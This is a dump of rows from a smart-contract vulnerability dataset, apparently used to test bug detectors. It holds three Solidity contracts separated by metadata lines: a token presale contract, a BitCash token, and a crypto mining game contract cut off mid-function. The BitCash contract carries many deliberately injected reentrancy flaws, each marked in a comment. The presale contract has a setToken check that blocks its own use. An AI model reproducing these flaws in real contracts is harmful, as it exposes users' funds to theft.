} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address, RecoverError) {
// the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StrudelPresale is ReentrancyGuard, Context, Ownable, Pausable {
using ECDSA for bytes32;
IERC20 public token;
address payable public treasury;
address public whitelistSigner;
uint256 public rate;
uint256 public ftmRaised;
uint256 public endICO;
uint256 public rewardTokenCount;
uint256 public minPurchase;
uint256 public maxPurchase;
uint256 public availableTokensICO;
uint256 public boughtTokensICO;
uint256 public maxTokensICO;
// bytes32 -> DomainSeparator
bytes32 public DOMAIN_SEPARATOR;
// bytes32 -> PRESALE_TYPEHASH
bytes32 public constant PRESALE_TYPEHASH = keccak256("Presale(address buyer)");
struct Whitelist {
address wallet;
uint256 amountToReceive;
uint256 ftmSpend;
}
mapping(address => Whitelist) public whitelist;
event TokensPurchased(address indexed _beneficiary, address indexed _treasury, uint256 _amount);
event StartICO(uint256 _block);
event SetICO(uint256 _block);
event TokenAddress(address token);
event WithdrawLeftovers(address _user, uint256 _amount);
event WithdrawRewards(address _user, uint256 _amount);
event DistrubutedAmount(address _user, uint256 _amount);
event MinPurchase(uint256 _amount);
event MaxPurchase(uint256 _amount);
event MaxTokensICO(uint256 _amount);
event Rate(uint256 _amount);
event WhitelistSigner(address _whitelistSigner);
event AvailableTokensICO(uint256 _amount);
event Treasury(address payable _amount);
event RewardTokenCount(uint256 _amount);
event ForwardFunds(address _user, uint256 _amount);
modifier icoActive() {
require(endICO > 0 && block.number < endICO && availableTokensICO > 0, "ICO must be active");
_;
}
modifier icoNotActive() {
require(endICO < block.number, 'ICO is active');
_;
}
modifier onlyTreasury() {
require(_msgSender() == treasury, 'Only treasury');
_;
}
constructor (address payable _treasury,
address _whitelistSigner,
uint256 _rate,
uint256 _availableTokensICO,
uint256 _rewardTokenCount,
uint256 _minPurchase,
uint256 _maxPurchase) public {
require(_treasury != address(0), "Pre-Sale: wallet is the zero address");
treasury = _treasury;
availableTokensICO = _availableTokensICO;
whitelistSigner = _whitelistSigner;
maxTokensICO = _availableTokensICO;
rewardTokenCount = _rewardTokenCount;
minPurchase = _minPurchase;
maxPurchase = _maxPurchase;
endICO = block.number + 999999999;
rate = _rate;
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ORKAN")),
keccak256(bytes("1")),
chainId,
address(this)));
emit Rate(rate);
emit SetICO(endICO);
emit MaxPurchase(_maxPurchase);
emit MinPurchase(_minPurchase);
emit AvailableTokensICO(_availableTokensICO);
emit MaxTokensICO(maxTokensICO);
emit Treasury(treasury);
}
function startICOSale(uint256 _endICO, uint256 _minPurchase, uint256 _maxPurchase, uint256 _availableTokensICO) external onlyOwner icoNotActive() {
require(_endICO != 0, 'Pre-Sale: The duration should be > 0');
require(_availableTokensICO > 0, 'Pre-Sale: The available tokens should be > 0');
require(_maxPurchase > 0, 'Pre-Sale: The max purchase should be > 0');
endICO = _endICO;
minPurchase = _minPurchase;
maxPurchase = _maxPurchase;
availableTokensICO = _availableTokensICO;
emit SetICO(_endICO);
emit MinPurchase(_minPurchase);
emit MaxPurchase(_maxPurchase);
emit AvailableTokensICO(_availableTokensICO);
}
function setICO(uint256 _ICO) external onlyOwner {
endICO = _ICO;
emit SetICO(_ICO);
}
function buyTokens(bytes memory signature) external nonReentrant icoActive whenNotPaused payable {
uint256 ftmPurchaseInWei = msg.value;
uint256 tokensPurchase = getTokenAmount(ftmPurchaseInWei);
_validatePurchase(signature, ftmPurchaseInWei, tokensPurchase, _msgSender());
// Amount of FTM that has been raised
ftmRaised = ftmRaised + ftmPurchaseInWei;
// Add person to distrubuted map and tokens bought
whitelist[_msgSender()].wallet = _msgSender();
whitelist[_msgSender()].amountToReceive += tokensPurchase;
whitelist[_msgSender()].ftmSpend += ftmPurchaseInWei;
availableTokensICO = availableTokensICO - tokensPurchase;
boughtTokensICO += tokensPurchase;
emit TokensPurchased(_msgSender(), treasury, tokensPurchase);
}
function setToken(IERC20 _token) external onlyOwner {
require(address(token) != address(0), "Pre-Sale: Token is the zero address");
token = _token;
emit TokenAddress(address(token));
}
function setDistributedAmount(address _wallet, uint256 _amountInGwei) external onlyOwner {
whitelist[_wallet].amountToReceive = _amountInGwei;
emit DistrubutedAmount(_wallet, _amountInGwei);
}
function setRate(uint256 _rate) external onlyOwner {
rate = _rate;
emit Rate(rate);
}
function setPaused(bool _paused) external onlyOwner {
if (_paused) _pause();
else _unpause();
}
function setAvailableTokensICO(uint256 _availableTokensICO) public onlyOwner {
availableTokensICO = _availableTokensICO;
emit AvailableTokensICO(_availableTokensICO);
}
function setWhitelistSigner(address _whitelistSigner) public onlyOwner {
require(_whitelistSigner != address(0), "Pre-Sale: Invalid address");
whitelistSigner = _whitelistSigner;
emit WhitelistSigner(_whitelistSigner);
}
function setTreasury(address payable _treasury) external onlyOwner {
require(_treasury != address(0), "Pre-Sale: Invalid address");
treasury = _treasury;
emit Treasury(treasury);
}
function setMinPurchase(uint256 _minPurchase) external onlyOwner {
minPurchase = _minPurchase;
emit MinPurchase(_minPurchase);
}
function setMaxPurchase(uint256 _maxPurchase) external onlyOwner {
maxPurchase = _maxPurchase;
emit MaxPurchase(_maxPurchase);
}
function setRewardTokenCount(uint256 _rewardTokenCount) external onlyOwner {
rewardTokenCount = _rewardTokenCount;
emit RewardTokenCount(rewardTokenCount);
}
function claimFTM() public onlyTreasury {
payable(address(treasury)).transfer(address(this).balance);
}
function getTokenAmount(uint256 _weiAmount) public view returns (uint256) {
return (_weiAmount * rewardTokenCount) / rate;
}
function getTokensInContract() public view returns (uint256) {
return token.balanceOf(address(this));
}
function withdrawalAmount(address _beneficiary) public view returns(uint256 amount) {
return whitelist[_beneficiary].amountToReceive;
}
function isWhitelisted(address _beneficiary, bytes memory signature) public view returns(bool) {
// Verify EIP-712 signature
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PRESALE_TYPEHASH, _beneficiary))));
address recoveredAddress = digest.recover(signature);
if(recoveredAddress != address(0) && recoveredAddress == address(whitelistSigner)) {
return true;
} else {
return false;
}
}
function withdrawLeftoversToken() external icoNotActive onlyOwner {
require(token.balanceOf(address(this)) > 0, 'Pre-Sale: Their is no tokens to withdraw');
token.approve(address(this), token.balanceOf(address(this)));
token.transfer(_msgSender(), token.balanceOf(address(this)));
emit WithdrawLeftovers(_msgSender(), token.balanceOf(address(this)));
}
function withdrawTokens() external nonReentrant whenNotPaused icoNotActive() {
require(address(token) != address(0), "Pre-Sale: Token is the zero address");
require(withdrawalAmount(_msgSender()) != 0, "Pre-Sale: Haven't bought any tokens");
require(withdrawalAmount(_msgSender()) <= getTokensInContract(), "Pre-Sale: Not enough tokens in contract to withdraw from");
token.transfer(_msgSender(), withdrawalAmount(_msgSender()));
whitelist[_msgSender()].amountToReceive = 0;
emit WithdrawRewards(_msgSender(), withdrawalAmount(_msgSender()));
}
function _validatePurchase(bytes memory _signature, uint256 _ftmPurchaseInWei, uint256 _tokensPurchase, address _beneficiary) internal {
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PRESALE_TYPEHASH, _beneficiary))));
address recoveredAddress = digest.recover(_signature);
require(recoveredAddress != address(0) && recoveredAddress == address(whitelistSigner), "Invalid signature");
require(_ftmPurchaseInWei >= minPurchase, 'Pre-Sale: Have to send at least: minPurchase');
require(_ftmPurchaseInWei <= maxPurchase, 'Pre-Sale: Have to send less than: maxPurchase');
require(availableTokensICO != 0, "Pre-Sale: No available tokens left");
require(_tokensPurchase != 0, "Pre-Sale: Value is 0");
require(_tokensPurchase <= availableTokensICO, "Pre-Sale: No tokens left to buy");
require(availableTokensICO - _tokensPurchase != 0, "Pre-Sale: Purchase amount is to high");
require((whitelist[_beneficiary].amountToReceive + _tokensPurchase) <= maxPurchase, 'Pre-Sale: Max purchase has been reached');
}
}
| 319,427 | 751 |
c7858316cfe495c914e2512f35893827c688736db22349eb6738efbea00651a1
| 14,370 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Reentrancy/Sol/buggy_13.sol
| 3,591 | 12,579 |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract BitCash {
// Public variables of the token
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
string public name;
address lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
string public symbol;
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
mapping (address => uint256) public balanceOf;
address lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
address lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
}
| 223,714 | 752 |
c5bd9d557bbb134a6f4dfb8b4a4c48776b2ceb5f1fa56336d38e0e65c6afa395
| 19,594 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xf84c61bb982041c030b8580d1634f00fffb89059.sol
| 5,559 | 19,433 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
interface MiniGameInterface {
function setupMiniGame(uint256 _miningWarRoundNumber, uint256 _miningWarDeadline) external;
function isContractMiniGame() external pure returns(bool _isContractMiniGame);
}
contract CryptoMiningWar is PullPayment {
bool public initialized = false;
uint256 public roundNumber = 0;
uint256 public deadline;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public HALF_TIME = 8 hours;
uint256 public ROUND_TIME = 86400 * 7;
uint256 public prizePool = 0;
uint256 BASE_PRICE = 0.005 ether;
uint256 RANK_LIST_LIMIT = 10000;
uint256 randNonce = 0;
uint256 public totalContractMiniGame = 0;
mapping(uint256 => address) public contractsMiniGameAddress;
mapping(uint256 => MinerData) private minerData;
uint256 private numberOfMiners;
mapping(address => PlayerData) public players;
uint256 private numberOfBoosts;
mapping(uint256 => BoostData) private boostData;
mapping(address => bool) public miniGames;
uint256 private numberOfRank;
address[21] rankList;
address public sponsor;
uint256 public sponsorLevel;
address public administrator;
struct PlayerData {
uint256 roundNumber;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
uint256 referral_count;
uint256 noQuest;
}
struct MinerData {
uint256 basePrice;
uint256 baseProduct;
uint256 limit;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
modifier isNotOver()
{
require(now <= deadline);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isCurrentRound()
{
require(players[msg.sender].roundNumber == roundNumber);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event eventDoQuest(uint clientNumber,
uint randomNumber);
constructor() public {
administrator = msg.sender;
numberOfMiners = 8;
numberOfBoosts = 5;
numberOfRank = 21;
minerData[0] = MinerData(10, 10, 10); //lv1
minerData[1] = MinerData(100, 200, 2); //lv2
minerData[2] = MinerData(400, 800, 4); //lv3
minerData[3] = MinerData(1600, 3200, 8); //lv4
minerData[4] = MinerData(6400, 9600, 16); //lv5
minerData[5] = MinerData(25600, 38400, 32); //lv6
minerData[6] = MinerData(204800, 204800, 64); //lv7
minerData[7] = MinerData(1638400, 819200, 65536); //lv8
}
function () public payable
{
prizePool = SafeMath.add(prizePool, msg.value);
}
function startGame() public
{
require(msg.sender == administrator);
require(!initialized);
startNewRound();
initialized = true;
}
function addCrystal(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber);
uint256 crystals = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
PlayerData storage p = players[_addr];
p.crystals = SafeMath.add(p.crystals, crystals);
}
function subCrystal(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber);
updateCrystal(_addr);
uint256 crystals = SafeMath.mul(_value,CRTSTAL_MINING_PERIOD);
require(crystals <= players[_addr].crystals);
PlayerData storage p = players[_addr];
p.crystals = SafeMath.sub(p.crystals, crystals);
}
function addHashrate(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber);
PlayerData storage p = players[_addr];
p.hashrate = SafeMath.add(p.hashrate, _value);
}
function subHashrate(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(players[_addr].roundNumber == roundNumber && players[_addr].hashrate >= _value);
PlayerData storage p = players[_addr];
p.hashrate = SafeMath.sub(p.hashrate, _value);
}
function setContractsMiniGame(address _contractMiniGameAddress) public
{
require(administrator == msg.sender);
MiniGameInterface MiniGame = MiniGameInterface(_contractMiniGameAddress);
bool isContractMiniGame = MiniGame.isContractMiniGame();
require(isContractMiniGame == true);
if (miniGames[_contractMiniGameAddress] == false) {
miniGames[_contractMiniGameAddress] = true;
contractsMiniGameAddress[totalContractMiniGame] = _contractMiniGameAddress;
totalContractMiniGame = totalContractMiniGame + 1;
}
}
function removeContractMiniGame(address _contractMiniGameAddress) public
{
require(administrator == msg.sender);
miniGames[_contractMiniGameAddress] = false;
}
function startNewRound() private
{
deadline = SafeMath.add(now, ROUND_TIME);
roundNumber = SafeMath.add(roundNumber, 1);
initData();
setupMiniGame();
}
function setupMiniGame() private
{
for (uint256 index = 0; index < totalContractMiniGame; index++) {
if (miniGames[contractsMiniGameAddress[index]] == true) {
MiniGameInterface MiniGame = MiniGameInterface(contractsMiniGameAddress[index]);
MiniGame.setupMiniGame(roundNumber,deadline);
}
}
}
function initData() private
{
sponsor = administrator;
sponsorLevel = 6;
boostData[0] = BoostData(0, 150, 1, now, HALF_TIME);
boostData[1] = BoostData(0, 175, 1, now, HALF_TIME);
boostData[2] = BoostData(0, 200, 1, now, HALF_TIME);
boostData[3] = BoostData(0, 225, 1, now, HALF_TIME);
boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME);
for (uint256 idx = 0; idx < numberOfRank; idx++) {
